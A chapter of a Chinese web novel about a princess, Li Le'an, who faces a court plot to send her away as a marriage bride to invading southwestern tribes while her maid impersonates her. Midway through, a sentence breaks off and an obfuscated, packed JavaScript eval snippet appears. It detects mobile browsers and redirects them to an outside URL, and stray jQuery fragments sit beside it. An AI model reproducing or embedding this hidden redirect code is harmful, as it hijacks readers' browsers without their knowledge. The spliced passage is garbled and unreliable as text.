71. 惊变

作品:《公主的造反日志

    永县的羽林卫已经拔营回京,李乐安正部署下一步的行动。一则由皇后紧急传来的密信,便如同晴天霹雳,突然送到了李乐安的手中。


    当今皇帝,她的父皇,于日前在宫中突然中风,虽经太医全力救治保住了性命,却已口不能言,身不能动,卧榻不起!


    国不可一日无君,经朝臣公议,暂由皇后与年已十四的四皇子共同摄政,处理军国要务。


    读完密信,李乐安脸色骤变,捏着信纸的手指因为用力而发白。


    纵然她来自异世,但穿越过来十几年,这位高高在上的皇帝给她的父爱却是实实在在的。


    即便当年她犯下那等在世人眼中堪称“大逆不道”的罪行,皇帝依旧想方设法维护了她。


    除了不得自由,她在皇陵的吃穿用度未曾缩减半分,皇陵守卫也因此依然待她恭敬如初,所以她才放心让芳苑假扮她留在京中。这份恩情,她一直铭记于心。


    “准备一下,我要立刻回京!让于慎同行!”她声音急促,带着不容置疑的决断。她必须回去,亲眼看看皇帝的情况。


    然而,还没等她将平、宁两县的事务妥善安排完毕,另一道加急军报如同丧钟般敲响,瞬间震动了整个王朝。


    西南蛮夷诸多部落竟联合起来,大举犯边!他们来势汹汹,已连续攻陷了三座边境城池!烽火台浓烟滚滚,边境告急!


    局势瞬间变得无比复杂。外有强敌入侵,内有君主病重,摄政的皇后与皇子能否稳住朝局?


    李乐安站在舆图前,看着西南边境地区,眉头紧锁。她沉吟片刻,指节在桌面上轻轻敲击,“京城,还是要回。但行程需更加隐秘,沿途注意西南军情动向。”


    她不能再等,必须尽快弄清京中真实情况。


    这个消息李乐安没有告知钟家父女,只说自己有其他事要处理,需要暂离平县,留下高飞带人继续协助他们兴修水利。


    可就在李乐安一行人轻车简从,刚刚离开西川地界,尚未抵达京城之时,又一封密信追上了她。信中的消息,让她眼神变得冰冷。


    西南蛮族联军中,竟推选出了一位威望颇高的首领,统一了各部号令。此人并未趁胜继续深入,反而派出了使者,向大周朝廷提出了一个条件,求娶一位公主和亲。并立下誓言,只要成功迎娶公主,便立刻退兵,并保证十年之内,不再犯边。


    而朝堂之上,针对此事,已然吵翻了天。有勋贵旧臣,竟公然提出“可恢复晋元公主李乐安之身份,令其代表大周,前往西南和亲!”


    他们言说晋元公主本就“戴罪之身”,若能以此身换取边境十年太平,正是将功折罪,为国尽忠!


    据密信所言,皇后闻此提议,当场强烈反对,凤颜震怒。而最初同样持反对态度的四皇子,在经历了几日朝臣不断的“劝说”与“分析利害”后,态度……似乎开始变得有些暧昧不明,不再如最初那般坚决。


    捏着这封薄薄却重若千钧的密信,李乐安望着通往京城的方向,眼神一点点冷了下来。


    京城,皇陵。


    淑妃的轿辇悄无声息地停在了陵园外。她此来并未声张,只带了几个心腹宫女。


    守陵的侍卫一见是四皇子生母淑妃娘娘,不敢怠慢,很快便放行。


    到了院子门口,护卫却是李乐安的人。他面露难色,上前回话,“娘娘,娘子近日感染了风寒,病体未愈,怕是不便见客,万一过了病气给娘娘就不好了……”


    淑妃妆容精致的脸上掠过一丝不易察觉的怀疑,但她很快便温和地笑了笑,语气却带着不容拒绝的坚持,“无妨,本宫就在外间,与乐安隔帘说几句话就好。”


    室内,由芳苑假扮的“李乐安”躺在重重帘幕之后,心中警铃大作,却也只能压低声音,伴装虚弱地咳嗽了两声。


    淑妃在外间的椅子上坐下,隔着那道珠帘,望着里面模糊的人影,忍下心中因被阻拦而产生的不快,语重心长地开口,“乐安,本宫知道你身子不适,本不该来打扰。只是……如今朝廷的处境,想必你也听说了。皇上病重,西南蛮夷猖獗,接连丢城失地,朝廷压力很大……”


    她顿了顿,声音更加柔和,却字字句句都带着分量:“那边派了使者来,指名要求娶一位真正的公主,才肯退兵,并承诺十年不犯边关。朝堂上……有人提起了你。我知道,这委屈你了,可是乐安,你自幼懂事,当知有些时候,个人得失在江山社稷面前,是需要退让的。身为皇室儿女,享受了常人没有的尊荣,到了关键时刻,也该为这家国天下,尽一份力啊……”


    帘幕之后,芳苑听得心头火起,紧紧攥住了被角。她可是清楚记得,当年秋猎,三皇子暗中将猛兽驱入猎场,意图加害尚且年幼的四皇子,是自家娘子不顾自身安危,冲上去救了当时还是小孩子的四皇子一命!


    如今皇上病倒,淑妃为了巩固自己儿子摄政的地位,稳住朝局,竟然就想把救命恩人推出去和亲?这过河拆桥的嘴脸,实在让人心寒!


    但她牢记着自己的任务和娘子的交代,不能暴露,更不能意气用事。她强压下翻涌的情绪,模仿着李乐安平日清冷的语调,带着几分病中的沙哑,缓缓道:“淑妃娘娘的意思……我明白了。此事关系重大,请容我……再考虑考虑。”


    淑妃等了片刻,只等到这么一句不软不硬的话,心中不免失望,也知道逼得太紧反而不好,只得叹了口气,语气依旧充满关怀:“好吧,你好生养病,仔细想想。无论最终如何,本宫……和朝廷,都会记得你的付出。”又嘱咐了几句好好休息的话,淑妃这才带着一丝无奈,起身离开了。


    芳苑听着脚步声远去,这才松了口气,后背竟已惊出一层薄汗。她望着窗外,只盼娘子能早日收到消息,平安应对。


    朝堂之上,主张让晋元公主李乐安和亲以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492398|181556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平息西南战事的呼声,如同滚雪球般越来越大。


    除了少数主战派、昌陵侯冯靖平等保皇党成员,以及以刚正著称的廖文序等人极力反对外,大多数朝臣似乎都已默许这是“代价最小”的解决方式。


    皇后虽在帘后竭力反对,声音却逐渐被淹没在那些“为国为民”、“大局为重”的慷慨陈词之中。势单力薄,难以抗衡。


    自承恩侯战死,后族势力已大不如前。如今虽听说周望舒在北疆凭自己挣得一番名声,可在满朝文武眼中,终究是一介女流,难堪大任。


    昌陵侯府内,冯昱急得如同热锅上的蚂蚁,他抓住父亲冯靖平的衣袖,语气激动:“父亲!大哥!你们一定要想想办法!陛下若是清醒着,绝不可能让晋元公主去和亲的!我们怎能眼睁睁看她被推进火坑?”


    冯靖平面容沉肃,眉宇间是化不开的凝重与无奈,他拍了拍儿子的肩膀,声音带着疲惫:“昱儿,为父和你兄长何尝不想阻止?我已多次在朝上陈情,你兄长也联络清流上书。但……如今朝堂风向如此,西南战事又吃紧,我们……我们势单力薄,难以抵挡这满朝文武的‘共识’啊。”他重重叹了口气,满是无力感。


    他略作停顿,声音压得更低,透着一股深沉的无奈,“况且,晋元公主六年前的那桩旧事,在朝中树敌太多,积怨颇深。”


    冯靖平抬眼扫过书房,仿佛能穿透墙壁望见那重重宫阙,语气意味深长,“这满朝朱紫,有几人真敢说自己清白无瑕?若都依着她当年那般不留余地、追查到底的架势来翻旧账,只怕这殿上站着的,十有八九都保不住头上的乌纱帽了。”


    冯晟站在一旁,亦是沉默不语。他虽为文臣,却宁肯请缨出征,马革裹尸,也不愿用一个女子的婚姻来换取短暂的和平,可眼下局势,他们的声音太微弱了。


    就在这压抑的氛围中,尚未抵达京城的李乐安,于途中接到了密报。朝廷已正式下旨,恢复了她的晋元公主身份。


    虽然没有明旨要求和亲,但这恢复身份的举动,无疑是为下一步的和亲铺平了道路。旨意恐怕已经在路上了。


    与此同时,皇陵之中的芳苑,秘密联系上了皇后。她跪在皇后面前,恳切陈情:“皇后娘娘,如今形势逼人,不如就将错就错!请娘娘设法遮掩,让娘子千万不要回京。奴婢愿意继续假扮公主,前往西南和亲!只要能帮娘子渡过此劫,奴婢万死不辞!”


    皇后看着眼前这个忠心耿耿的侍女,心中百感交集,既感动于她的忠义,又为李乐安的处境感到心痛。她亲手扶起芳苑,眼中含泪,却摇了摇头:“好孩子,你的忠心,本宫知道了。但此事……关系你的一生,更关系乐安的意愿。本宫不能替她做主。一切……还是等她回来,自行决断吧。”


    芳苑还想再说什么,皇后却已疲惫地摆了摆手,望向西北方向。前路迷茫,等待乐安的,将是一个无比艰难的决定。